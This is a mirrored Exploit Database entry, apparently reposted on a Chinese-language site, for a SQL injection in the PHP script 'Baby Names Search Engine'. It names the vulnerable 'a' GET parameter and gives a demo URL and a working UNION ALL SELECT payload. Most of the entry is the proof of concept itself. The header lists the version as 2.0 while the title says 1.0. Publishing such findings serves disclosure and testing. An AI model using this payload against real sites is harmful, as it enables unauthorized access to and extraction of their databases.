Baby Names Search Engine 1.0 – ‘a’ SQL Injection

• Exploit Database
• 35 阅读

• 作者： AkkuS
  日期： 2018-05-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44778/

• # Exploit Title: Baby Names Search Engine v1.0 - 'a' SQL Injection
  # Dork: N/A
  # Date: 27.05.2018
  # Exploit Author: Özkan Mustafa Akkuş (AkkuS)
  # Vendor: MediaGeni
  # Vendor Homepage:
  https://codecanyon.net/item/baby-names-search-engine/11864316
  # Version: 2.0
  # Category: Webapps
  # Tested on: Kali linux
  # Description : The vulnerability allows an attacker to inject sql commands
  from search section with 'a' parameter.
  ====================================================
  
  # PoC : SQLi :
  
  Parameter: a (GET)
  
  Type: UNION query
  Demo:
  http://www.site.com/index.php?q=test&M=true&F=true&a=Turkish&type=3
  Title: Generic UNION query (NULL) - 4 columns
  Payload: q=test&M=true&F=true&a=Turkish' UNION ALL SELECT
  NULL,CONCAT(CONCAT('qzjqq','syfofZIoCuhULUBWOuONCiDLDFbwXYyhSdAJvCBU'),'qbzxq'),NULL,NULL--
  ZYcF&type=3
  
  ====================================================